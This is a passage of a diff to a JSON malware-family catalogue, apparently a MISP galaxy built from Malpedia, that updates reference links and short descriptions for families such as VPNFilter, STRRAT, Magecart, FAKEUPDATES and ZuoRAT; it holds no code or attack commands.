"https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter", - "https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html", - "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-054A%20New%20Sandworm%20Malware%20Cyclops%20Blink%20Replaces%20VPN%20Filter.pdf", "https://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf", "https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html", - "https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html", "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", "https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html", - "https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected", "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/", + "https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/", + "https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities", + "https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected", "https://blog.talosintelligence.com/2018/05/VPNFilter.html", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en", + "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", + "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware" ], "synonyms": [], "type": [] }, "uuid": "5ad30da2-2645-4893-acd9-3f8e0fbb5500", - "value": "elf.vpnfilter" + "value": "VPNFilter" }, { "description": "According to Intezer, this is a spreader module used by WatchBog. It is a dynamically linked ELF executable, compiled with Cython. C&C adresses are fetched from Pastebin. C&C communication references unique identification keys per victim. It contains a BlueKeep scanner, reporting positively scanned hosts to the C&C server (RC4 encrypted within SSL/TLS). It contains 5 exploits targeting Jira, Exim, Solr, Jenkins and Nexus Repository Manager 3. ", @@ -5014,6 +6112,7 @@ "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29", "https://community.riskiq.com/article/541a465f/description", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", @@ -5087,6 +6186,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe", + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", "https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html", "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" ], @@ -5131,10 +6231,13 @@ "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", + "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", - "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", "https://en.wikipedia.org/wiki/Xor_DDoS", + "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", @@ -5178,6 +6281,19 @@ "uuid": "9218630d-0425-4b18-802c-447a9322990d", "value": "Zollard" }, + { + "description": "According to Black Lotus Labs, ZuoRAT is a MIPS file compiled for SOHO routers that can enumerate a host and internal LAN, capture packets being transmitted over the infected device and perform person-in-the-middle attacks (DNS and HTTPS hijacking based on predefined rules).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat", + "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c4b0a7cd-b349-44a1-94ca-3d5a4ac288b2", + "value": "ZuoRAT" + }, { "description": "Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.", "meta": { @@ -5315,7 +6431,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind", "https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html", "https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", "https://research.checkpoint.com/malware-against-the-c-monoculture/", "http://malware-traffic-analysis.net/2017/07/04/index.html", @@ -5326,6 +6442,7 @@ "https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat", "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://citizenlab.ca/2015/12/packrat-report/" ], "synonyms": [ @@ -5355,13 +6472,14 @@ "value": "Adzok" }, { - "description": "", + "description": "F-Secure observed Banload variants silently downloading malicious files from a remote server, then installing and executing the files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload", - "https://colin.guru/index.php?title=Advanced_Banload_Analysis", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload", "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload" + "https://colin.guru/index.php?title=Advanced_Banload_Analysis" ], "synonyms": [], "type": [] @@ -5570,6 +6688,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/" ], "synonyms": [], @@ -5579,15 +6698,22 @@ "value": "Ratty" }, { - "description": "According to G DATA, STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird. \r\n\r\nOlder version of the malware came with a rudimentary ransomware module that appends \".crimson\" to affected files. The affected files are not encrypted, but simply reamed. If the extension is removed, the files can be opened as usual.\r\n\r\nAs of at least version 1.5, STRRAT has an implemented encryption routine.", + "description": "STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.\r\n\r\nSince Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://www.jaiminton.com/reverse-engineering/strrat", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://twitter.com/MsftSecIntel/status/1395138347601854465", "https://www.gdatasoftware.com/blog/strrat-crimson", - "https://isc.sans.edu/diary/rss/27798" + "https://isc.sans.edu/diary/rss/27798", + "https://www.jaiminton.com/reverse-engineering/strrat", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", + "https://forensicitguy.github.io/strrat-attached-to-msi/", + "https://www.jaiminton.com/reverse-engineering/strrat#", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain" ], "synonyms": [], "type": [] @@ -5610,6 +6736,19 @@ "uuid": "651e37e0-1bf8-4024-ac1e-e7bda42470b0", "value": "SupremeBot" }, + { + "description": "This malware seems to be used for attacks installing cyptocurrency miners on infected machines. Other indicators leads to the assumption that attackers may also use this malware for other purposes (e.g. stealing access tokens for Discord chat app). Symantec describes this malware as complex and powerful: The malware is loaded as a server-side polymorphic JAR file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/jar.verblecon", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/verblecon-sophisticated-malware-cryptocurrency-mining-discord" + ], + "synonyms": [], + "type": [] + }, + "uuid": "793565b4-666b-47a4-b15b-de9c80c75a51", + "value": "Verblecon" + }, { "description": "AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.", "meta": { @@ -5633,6 +6772,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor" @@ -5649,6 +6789,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" ], "synonyms": [], @@ -5663,10 +6804,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch", "https://www.macnica.net/file/mpression_automobile.pdf", + "https://github.com/mdsecactivebreach/CACTUSTORCH", "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", "https://www.codercto.com/a/46729.html", - "https://github.com/mdsecactivebreach/CACTUSTORCH" + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/" ], "synonyms": [], "type": [] @@ -5674,6 +6816,19 @@ "uuid": "efbb5a7c-8c01-4aca-ac21-8dd614b256f7", "value": "CACTUSTORCH" }, + { + "description": "GoSecure describes ChromeBack as a browser hijacker, redirecting traffic and serving advertisements to users.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback", + "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ec055670-4d25-4918-90c7-281fddf3a771", + "value": "ChromeBack" + }, { "description": "WebAssembly-based crpyto miner.", "meta": { @@ -5703,6 +6858,20 @@ "uuid": "d47ca107-3e03-4c25-88f9-8156426b7f60", "value": "CukieGrab" }, + { + "description": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA für C&C.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman", + "https://www.prevailion.com/darkwatchman-new-fileness-techniques/", + "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4baf5a22-7eec-4ad8-8780-23a351d9b5f5", + "value": "DarkWatchman" + }, { "description": "", "meta": { @@ -5743,7 +6912,9 @@ "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", "https://securelist.com/apt-trends-report-q3-2020/99204/", + "http://blog.nsfocus.net/agentvxapt-evilnum/", "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", @@ -5755,14 +6926,52 @@ "uuid": "b7deec7e-24f7-4f78-9d58-9b3c1e182ab3", "value": "EVILNUM (Javascript)" }, + { + "description": "FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.\r\n\r\nFAKEUPDATES has been heavily used by UNC1543,a financially motivated group.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates", + "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", + "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", + "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", + "https://experience.mandiant.com/trending-evil/p/1", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", + "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", + "https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends", + "https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html" + ], + "synonyms": [ + "FakeUpdate", + "SocGholish" + ], + "type": [] + }, + "uuid": "cff35ce3-8d6f-417b-ae6c-a9e6a60ee26c", + "value": "FAKEUPDATES" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader", "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", + "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html", "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", - "https://community.riskiq.com/article/f5d5ed38" + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", + "https://redcanary.com/blog/gootloader", + "https://community.riskiq.com/article/f5d5ed38", + "https://experience.mandiant.com/trending-evil/p/1" ], "synonyms": [], "type": [] @@ -5790,14 +6999,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://twitter.com/ItsReallyNick/status/1059898708286939136", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.mandiant.com/resources/evolution-of-fin7", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/", + "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" ], "synonyms": [ "Harpy" @@ -5851,7 +7066,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.jsprat", - "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators" + "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators", + "https://www.mandiant.com/resources/fin13-cybercriminal-mexico" ], "synonyms": [], "type": [] @@ -5898,6 +7114,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart", "https://community.riskiq.com/article/743ea75b/description", "https://sansec.io/research/magento-2-persistent-parasite", + "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", "https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf", "https://sansec.io/research/north-korea-magecart", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", @@ -5909,20 +7127,24 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", - "https://community.riskiq.com/article/fda1f967", + "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", "https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/", "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", + "https://community.riskiq.com/article/017cf2e6", "https://twitter.com/AffableKraut/status/1415425132080816133?s=20", - "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", + "https://community.riskiq.com/article/fda1f967", + "https://community.riskiq.com/article/2efc2782", "https://www.goggleheadedhacker.com/blog/post/14", "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", - "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://geminiadvisory.io/magecart-google-tag-manager/", "https://community.riskiq.com/article/5bea32aa", + "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", @@ -5940,9 +7162,8 @@ "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", - "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", "https://twitter.com/MBThreatIntel/status/1416101496022724609", "https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/", "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", @@ -5993,7 +7214,8 @@ "https://github.com/eset/malware-ioc/tree/master/evilnum", "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware" ], "synonyms": [ "SKID", @@ -6044,6 +7266,7 @@ "https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/", "https://www.intrinsec.com/deobfuscating-hunting-ostap/", "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", "https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", @@ -6055,6 +7278,34 @@ "uuid": "a3b93781-c51c-4ccb-a856-804331470a9d", "value": "ostap" }, + { + "description": "This malicious code written in JavaScript is used as Traffic Direction System (TDS). This TDS showes similarities to the Prometheus TDS. According to DECODED Avast.io this TDS has been active since October 2021.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.parrot_tds", + "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dbefad0a-29d3-49d3-b925-116598182dee", + "value": "Parrot TDS" + }, + { + "description": "PeaceNotWar was integrated into the nodejs module node-ipc as a piece of malware/protestware with wiper characteristics. It targets machines with a public IP address located in Russia and Belarus (using geolocation) and overwrites files recursively using a heart emoji.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar", + "https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers", + "https://www.bleepingcomputer.com/news/security/big-sabotage-famous-npm-package-deletes-files-to-protest-ukraine-war/", + "https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6c304481-024e-4f34-af06-6235edacfdcc", + "value": "PeaceNotWar" + }, { "description": "", "meta": { @@ -6118,6 +7369,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], @@ -6282,6 +7534,21 @@ "uuid": "dcc0fad2-29a9-4b69-9d75-d288ca458bc7", "value": "witchcoven" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell", + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07e88ccf-6027-412b-99bf-0fa1d3cfb174", + "value": "Godzilla Webshell" + }, { "description": "", "meta": { @@ -6377,6 +7644,41 @@ "uuid": "387e1a19-458d-4961-a8e4-3f82463085e5", "value": "Casso" }, + { + "description": "Google TAG has observed this malware being delivered via watering hole attacks using 0-day exploits, targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds", + "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", + "https://objective-see.com/blog/blog_0x69.html", + "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/" + ], + "synonyms": [ + "Macma" + ], + "type": [] + }, + "uuid": "5e4bdac7-b6c8-4c59-996f-babfc3bb3a3c", + "value": "CDDS" + }, + { + "description": "A loader delivering malicious Chrome and Safari extensions.", + "meta": { + "refs": [ + 